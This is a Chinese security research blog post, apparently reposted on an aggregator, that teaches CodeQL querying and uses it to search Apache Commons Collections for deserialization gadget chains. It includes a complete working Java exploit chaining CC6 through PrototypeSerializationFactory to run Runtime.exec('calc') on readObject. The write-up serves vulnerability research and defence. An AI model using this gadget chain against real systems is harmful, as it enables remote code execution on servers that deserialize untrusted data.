细谈使用CodeQL进行反序列化链的挖掘过程

这篇具有很好参考价值的文章主要介绍了细谈使用CodeQL进行反序列化链的挖掘过程。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

此文章在SecIN安全技术社区首发

前言

学习了一下CodeQL的各种使用方式,决定使用CodeQL细谈一下CC链挖掘,通过一步一步的朝着我们既定的目标进行靠近,最终成功的找到了一条鸡肋的二次反序列化的入口

前奏

CodeQL本身包含两部分解析引擎+ SDK 。

解析引擎用来解析我们编写的规则,虽然不开源,但是我们可以直接在官网下载二进制文件直接使用。

 SDK 完全开源,里面包含大部分现成的漏洞规则,我们也可以利用其编写自定义规则

安装

下载CodeQL执行程序

将SDK下载到同目录

cd ~/CodeQL&git clone https://github.com/Semmle/ql

之后将执行程序添加进入环境变量

然后再VScode中安装CodeQL插件,之后配置扩展,如果添加了环境变量就直接为空,没有添加就输入对应可执行文件的路径

简单使用

基本语法

类型
  1. 字符类型

String

存在类似于 CharAt(0) 的内置函数

  1. 整型与浮点型 https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string
  2. 日期型 https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string
  3. 布尔型

https://help.semmle.com/QL/ql-spec/language.html#built-ins-for-string

从未被使用的参数
import java

from Parameter p
where not exists( p.getAnAccess() )
select p
聚合使用
from Person t
where t.getAge() = max(int i | exists(Person p | p.getAge() = i) | i)
select t

select max(Person p | | p order by p.getAge())

min(Person p | p.getLocation() = "east" | p order by p.getHeight())

count(Person p | p.getLocation() = "south" | p)

avg(Person p | | p.getHeight())

sum(Person p | p.getHairColor() = "brown" | p.getAge())

 

生成Database

Creating CodeQL databases — CodeQL (github.com)

codeql.exe database create test --language=java --command="mvn clean compile --file pom.xml -Dmaven.test.skip=true" --source-root=../micro_service_seclab/
# 如何mvn编译报错使用 mvn compile -fn忽略错误
闭源构建数据库

闭源项目创建数据库,可以使用该工具:https://github.com/ice-doom/codeql_compile

  • https://github.com/waderwu/extractor-java
    同样可以在windows中使用,将run.py中的codeql_home手工修改,而不是使用which命令得到路径
构建JDK

(34条消息) 编译OpenJDK8并生成CodeQL数据库_n0body-mole的博客-CSDN博客

导入Database

和SQL语言一样,我们执行QL查询,肯定是要先指定一个数据库才可以。

选中插件,之后配置生成的数据库

类库

名称 解释
Method 方法类,Method method表示获取当前项目中所有的方法
MethodAccess 方法调用类,MethodAccess call表示获取当前项目当中的所有方法调用
Parameter 参数类,Parameter表示获取当前项目当中所有的参数

简单使用

Method内置方法
method.getName() 获取的是当前方法的名称
method.getDeclaringType() 获取的是当前方法所属class的名称。
method.hasName() 判断是否有该方法
    
import java

from Method method
where method.hasName("getStudent")
select method.getName(), method.getDeclaringType()

 

谓词
predicate 表示当前方法没有返回值。
exists子查询,是CodeQL谓词语法里非常常见的语法结构,它根据内部的子查询返回true or false,来决定筛选出哪些数据。
    
import java

predicate isStudent(Method method) {
exists(|method.hasName("getStudent"))
}

from Method method
where isStudent(method)
select method.getName(), method.getDeclaringType()

//没有结果的谓词
predicate isSmall(int i) {
  i in [1 .. 9]
}
//带有返回结果的谓词
int getSuccessor(int i) {
  result = i + 1 and
  i in [1 .. 9]
} //如果i是小于10的正整数,那么谓词的返回结果就是i后面的那个整数     

设置Source Sink

什么是source和sink
在代码自动化安全审计的理论当中,有一个最核心的三元组概念,就是(source,sink和sanitizer)。
source是指漏洞污染链条的输入点。比如获取http请求的参数部分,就是非常明显的Source。
sink是指漏洞污染链条的执行点,比如SQL注入漏洞,最终执行SQL语句的函数就是sink(这个函数可能叫query或者exeSql,或者其它)。
sanitizer又叫净化函数,是指在整个的漏洞链条当中,如果存在一个方法阻断了整个传递链,那么这个方法就叫sanitizer。
设置source
override predicate isSource(DataFlow::Node src) {}

// 通用的source入口规则
override predicate isSource(DataFlow::Node src) { src instanceof RemoteFlowSource }

 

设置Sink
override predicate isSink(DataFlow::Node sink) {

  }

// 查找一个query()方法的调用点,并把它的第一个参数设置为sink
override predicate isSink(DataFlow::Node sink) {
exists(Method method, MethodAccess call |
  method.hasName("query")
  and
  call.getMethod() = method and
  sink.asExpr() = call.getArgument(0)
)
}

Flow数据流

连通工作就是CodeQL引擎本身来完成的。我们通过使用config.hasFlowPath(source, sink)方法来判断是否连通。

from VulConfig config, DataFlow::PathNode source, DataFlow::PathNode sink
where config.hasFlowPath(source, sink)
select source.getNode(), source, sink, "source"

//我们传递给config.hasFlowPath(source, sink)我们定义好的source和sink,系统就会自动帮我们判断是否存在漏洞了

命令行持续化使用规则

在编写了相应规则之后,就可以直接在命令行行中执行规则,检测其他项目

首先生成 Database 

之后通过我们编写的规则进行分析,输出为CSV文件

codeql database analyze /CodeQL/databases/micro-service-seclab /CodeQL/ql/java/ql/examples/demo --format=csv --output=/CodeQL/Result/micro-service-seclab.csv --rerun

实例

使用jdbcTemplate.query方法的SQL注入

import java 
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.security.QueryInjection
import DataFlow::PathGraph

class VulConfig extends TaintTracking::Configuration {
    VulConfig() { this = "SqlinjectionConfig" }
    
    override predicate isSource(DataFlow::Node source) {
        source instanceof RemoteFlowSource
    }
    
    override predicate isSink(DataFlow::Node sink) {
        exists(Method method, MethodAccess call | 
            method.hasName("query")
            and call.getMethod() = method
            and sink.asExpr() = call.getArgument(0))
    }
}

from VulConfig vulconfig, DataFlow::PathNode source, DataFlow::PathNode sink
where vulconfig.hasFlowPath(source, sink)
select source.getNode(), source, sink, "source"
报错解决

如果存在Source位置是List<Long> param类型的传参,这里是不可能存在SQL注入的我们可以使用TaintTracking::Configuration提供的净化方法isSanitizer

override predicate isSanitizer(DataFlow::Node node) {
    node.getType() instanceof PrimitiveType or
    node.getType() instanceof BoxedType or
    node.getType() instanceof NumberType or
    exists(ParameterizedType pt | node.getType() = pt and
    pt.getTypeArgument(0) instanceof NumberType)
}

复杂使用

instanceof优化查询结构

我们可以使用exists(|)这种子查询的方式定义source和sink,但是如果source/sink特别复杂(比如我们为了规则通用,可能要适配springboot, Thrift RPC,Servlet等source),如果我们把这些都在一个子查询内完成,比如 condition 1 or conditon 2 or condition 3, 这样一直下去,我们可能后面都看不懂了,更别说可维护性了。

instanceof给我们提供了一种机制,我们只需要定义一个abstract class

比如 RemoteFlowSource 抽象类的编写

/** A data flow source of remote user input. */
abstract class RemoteFlowSource extends DataFlow::Node {
  /** Gets a string that describes the type of this remote flow source. */
  abstract string getSourceType();
}

CodeQL和Java不太一样,只要我们的子类继承了这个RemoteFlowSource类,那么所有子类就会被调用,它所代表的source也会被加载

存在非常多继承这个抽象类的子类,所以他们的结果会被and串联在一起

递归查询

CodeQL里面的递归调用语法是:在谓词方法的后面跟*或者+,来表示调用0次以上和1次以上(和正则类似),0次会打印自己

在Java语言里,我们可以使用class嵌套class,多个内嵌class的时候,我们需要知道最外层的class是什么怎么办?

非递归,知道嵌套的层数:

import java

from Class classes
where classes.getName().toString() = "innerTwo"
select classes.getEnclosingType().getEnclosingType()   // getEnclosingtype获取作用域

使用递归语法

from Class classes
where classes.getName().toString() = "innerTwo"
select classes.getEnclosingType+()   // 获取作用域

代码分析平台CodeQL学习手记(七) - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com

强制类型转换

import java

from Parameter param
select param, param.getType().(IntegralType) //筛选出getType方法符合后面了类型的结果

正文

这里主要是探讨由transform调用层面的挖掘

transform

我们通过codeql寻找transform方法的调用

class TransformCallable extends Callable {
    TransformCallable() {
        this.getName().matches("transform") and
        this.getNumberOfParameters() = 1
    }
}

可以看出来结果挺多的,之后我们人工排查一下

TransformedCollection

在 TransformedCollection#transform 的调用中存在可以调用其他transformer的transform方法的逻辑

没啥用,都已经可以调用任意transform了,还需要这一步吗?

ChainedTransformer

在 ChainedTransformer#transform 方法中存在 iTransformers 中的所有的transform的调用,这里也就是yoserial项目中的利用链**
**

CloneTransformer

在 CloneTransformer#transform 方法中存在, PrototypeFactory类实例化之后调用了create方法

我们跟进一下

代码中表示如果需要transformer的类存在clone方法,就会返回一个 new PrototypeCloneFactory 对象,之后调用他的create方法,如果没有就会进入catch语句,返回一个 new InstantiateFactory 对象,但是这里因为在其类中的create方法中参数不可控不能够利用

ClosureTransformer

在 ClosureTransformer#transform 方法中,存在 Closure#execute 方法的调用

Closure#execute

我们来查找一下有没有可用的实现了 org.apache.commons.collections.Closure 接口的类的execute调用

class ClosureCallable extends Callable {
    ClosureCallable() {
        this.getName().matches("execute") and
        this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Closure")
    }
}

我们一个一个来看下对应的execute方法

大概看了一下,发现不是 this.iClosure.execute(input) 调用就是 this.iPredicate.evaluate(input) 

只有一个 TransformerClosure#execute 方法中调用了transform,但是也不能形成利用链,最多算一个中转

ConstantTransformer

在 ConstantTransformer#transform 方法中,将会返回一个构造方法,同样在yoserial中有所利用

FactoryTransformer

在 FactoryTransformer#transform 方法中,调用了 Factory 接口的类的create方法
查看一下满足条件的类把

Factory#create
class FactoryCallable extends Callable {
    FactoryCallable() {
        this.getName().matches("create") and
        this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Factory")
    }
}

进入看一看

InstantiateFactory

这里有一个 InstantiateFactory 类,好生熟悉,这不就是之前那篇文章中的CC链的挖掘,在其create方法中存在构造函数的实例化

例如已知的 InstantiateFactory , 我们尝试挖掘一下

类似其中会调用TemplateImpl#newTransformer方法

/**
 * @kind path-problem
 */
import java

class ConstructCallable extends Callable {
    ConstructCallable() {
        this instanceof Constructor
    }
}

class MethodCallable extends Callable {
    MethodCallable() {
        this.getName().matches("newTransformer") and
        this.getDeclaringType().getName().matches("TemplatesImpl")
    }
}

query predicate edges(Callable a, Callable b) {
    a.polyCalls(b)
}

from MethodCallable endcall, ConstructCallable entrypoint
where edges+(entrypoint, endcall)
select endcall, entrypoint, endcall, "find Contructor in jdk"

 

很合理我们得到了这个构造方法

虽然这里的 iConstructor 属性被 transient 修饰,但是在findConstructor中存在赋值

PrototypeSerializationFactory

之后有一个类为 PrototypeSerializationFactory 他是一个静态内部类

刚开始看的时候觉得这不纯纯一个二次反序列化的入口吗,直接跟进一下子代码

在其构造函数中有对 iPrototype 属性的赋值操作
我们可以尝试直接将CC6拼接上去

import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6_plus_plus {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

 public static void main(String[] args) throws Exception{
        //仿照ysoserial中的写法,防止在本地调试的时候触发命令
        Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(faketransformers);
        Map innerMap = new HashMap();
        Map outMap = LazyMap.decorate(innerMap, transformerChain);

        //实例化
        TiedMapEntry tme = new TiedMapEntry(outMap, "key");
        Map expMap = new HashMap();
        //将其作为key键传入
        expMap.put(tme, "value");

        //remove
        outMap.remove("key");

 //传入利用链
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        Class c;
        c = Class.forName("org.apache.commons.collections.functors.PrototypeFactory$PrototypeSerializationFactory");
        Constructor constructor = c.getDeclaredConstructor(Serializable.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(expMap);

        FactoryTransformer factoryTransformer = new FactoryTransformer((Factory) o);

        ConstantTransformer constantTransformer = new ConstantTransformer(1);

        Map innerMap1 = new HashMap();
        LazyMap outerMap1 = (LazyMap)LazyMap.decorate(innerMap1, constantTransformer);

        TiedMapEntry tme1 = new TiedMapEntry(outerMap1, "keykey");

        Map expMap1 = new HashMap();
        expMap1.put(tme1, "valuevalue");
        setFieldValue(outerMap1,"factory",factoryTransformer);

        outerMap1.remove("keykey");
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(expMap);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}

 

能够成功执行,好吧,感觉挺鸡肋的,但是应该可以结合其他依赖,作为其他反序列入口来打,或者作为一个黑名单绕过

PrototypeCloneFactory

之后又是一个 PrototypeCloneFactory#create 方法中

似乎可以任意方法的调用,但是我们注意到

其被transient修饰,且不像 InstantiateFactory 中存在赋值操作,但是我们同样可以注意到其在调用 findCloneMethod 方法中的时候,取出了对应类的clone方法,如果clone方法有可以利用的是不是就可以形成利用链

我们查找一下clone方法存在的类

import java

class CloneCallable extends Callable{
    CloneCallable() {
        this.getName().matches("clone")
    }
}
from CloneCallable c
select c,c.getBody(), c.getDeclaringType()

在BeanMap中,对应的clone方法中存在newInstance的调用且其 beanClass 可控,但是是无参构造方法,无法形成利用链

其他的调用我简单看了一下,没有什么特别的地方

最后一个是 ReflectionFactory 的调用,同样是无参构造方法

InstantiateTransformer

而对于 InstantiateTransformer#transform 方法中可以进行 InvokerTransformer 的替代使用,可以触发一些类的构造方法

比如说 TrAXFilter 

InvokerTransformer

接下来就是ysoserial中存在的 InvokerTransformer#transform 方法中可以反射调用可控的方法

PredicateTransformer

而又在 PredicateTransformer#transform 方法中存在Predicate接口实现类的evaluate方法

Predicate#evaluate

浅看一下对应类

import java

class PredicateCallable extends Callable {
    PredicateCallable() {
        this.getName().matches("evaluate") and
        this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Predicate")
    }
}

from PredicateCallable c 
select c, c.getBody(), c.getDeclaringType()

都是一些没有亮点的东西

SwitchTransformer

之后 SwitchTransformer#transform 方法中,存在有类似 ChainedTransformer#transform 的功能

但是需要满足 this.iPredicates[i].evaluate(input)为true ,而且似乎这里只能调用一次transform,不能形成链子,也没有了意义

总结

链子没有挖出来什么比较新的链子,有一个比较鸡肋的二次反序列化的链子,但是主要还是体会这种使用静态分析工具辅助自己进行挖掘新链,这次主要是在CC链中进行transformer层面的深度挖掘,当然还可以在动态代理等等方面进行深层次的探索,又或者以来其他依赖库结合进行挖掘利用的方式也是可行的文章来源地址https://www.toymoban.com/news/detail-454826.html

到了这里,关于细谈使用CodeQL进行反序列化链的挖掘过程的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 在Unity中使用Protobuf进行序列化

    目录 1.介绍 1.1 什么是Protobuf 1.2 Protobuf和其他数据序列化方案对比 2.下载Protobuf 2.1 方案一 使用VS的Nuget包管理器进行安装(推荐) 2.1.1安装Protobuff包 2.1.2拷贝.dll文件 2.2 方案二 从Github下载并自己生成.dll 2.2.1 下载Probuff 2.2.2 VS打开解决方案 2.2.3 安装.NET SDK 2.2.4 生成.dll文件 3

    2024年04月12日
    浏览(48)
  • .NET根据类的值进行序列化反序列化操作

    前言: 在.NET种,序列化一般常用的方式是使用Newtonsoft.Json进行序列化和反序列化操作,比如创建一个Person类 序列化为json 得到的json如下  反序列化 以上方法是我们经常用的方法,但是现实中总有奇葩(跟我一起读:sha bi)的需求,以上序列化方式,是将Person的name序列化为

    2024年02月13日
    浏览(44)
  • OpenCV中reshape()函数详解-改变矩阵的通道数,对矩阵元素进行序列化

    OpenCV中reshape()函数详解-改变矩阵的通道数,对矩阵元素进行序列化 在opencv中reshape函数,既可以改变矩阵的通道数,又可以对矩阵元素进行序列化 1、函数原型 2、示例 初始化一个矩阵,20行30列1通道 3、结论: 由此可见,不管怎么变,都遵循这样一个等式: 变化之前的 row

    2024年01月17日
    浏览(32)
  • drf——Request源码分析、序列化组件、序列化类的使用(字段类和参数)、反序列化校验和保存

    views.py中 urls.py中 序列化类 字段 字段构造方式 BooleanField BooleanField() NullBooleanField NullBooleanField() CharField CharField(max_length=None, min_length=None, allow_blank=False, trim_whitespace=True) EmailField EmailField(max_length=None, min_length=None, allow_blank=False) RegexField RegexField(regex, max_length=None, min_length=None, a

    2024年02月05日
    浏览(39)
  • 【spark】序列化和反序列化,transient关键字的使用

    Spark是基于JVM运行的进行,其序列化必然遵守Java的序列化规则。 序列化就是指将一个对象转化为二进制的byte流(注意,不是bit流),然后以文件的方式进行保存或通过网络传输,等待被反序列化读取出来。序列化常被用于数据存取和通信过程中 spark dirver和executor间传递变量

    2024年02月10日
    浏览(32)
  • Protobuf协议初级详解(python使用)从安装到序列化-反序列化

    Protobuf是一种轻便高效的结构化数据存储格式,可以用于结构化数据序列化,很适合做数据存储或 RPC 数据交换格式。它可用于通讯协议、数据存储等领域的语言无关、平台无关、可扩展的序列化结构数据格式。 可以简单理解为,是一种跨语言、跨平台的数据传输格式。与j

    2024年02月04日
    浏览(42)
  • c++ 使用rapidjson对数据序列化和反序列化(vs2109)

      RapidJSON是腾讯开源的一个高效的C++ JSON解析器及生成器,它是只有头文件的C++库,综合性能是最好的。 1. 安装 在NuGet中为项目安装tencent.rapidjson 2. 引用头文件 #include rapidjson/document.h #include rapidjson/memorystream.h #include rapidjson/prettywriter.h 3. 头文件定义 添加测试json字符串和类型

    2024年02月07日
    浏览(36)
  • 使用序列化和反序列化函数archivedDataWithRootObject和unarchivedObjectOfClasses的使用和遇到问题及解决方案

    为何archiveRootObject和unarchiveObjectWithFile正常,而archivedDataWithRootObject和unarchivedObjectOfClasses一直报错。 [NSKeyedArchiver archiveRootObject:account toFile:path]; 和`c PPAccountModel *account = [NSKeyedUnarchiver unarchiveObjectWithFile:path]; 替换很简单,但是会一堆问题等着你解决,序列化和反序列全失败。

    2024年02月16日
    浏览(36)
  • [Linux] 初识应用层协议: 序列化与反序列化、编码与解码、jsoncpp简单使用...

    有关Linux网络, 之前的文章已经简单演示介绍了 UDP 、 TCP 套接字编程 相关文章: [Linux] 网络编程 - 初见UDP套接字编程: 网络编程部分相关概念、TCP、UDP协议基本特点、网络字节序、socket接口使用、简单的UDP网络及聊天室实现… [Linux] 网络编程 - 初见TCP套接字编程: 实现简单的单

    2024年02月15日
    浏览(61)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包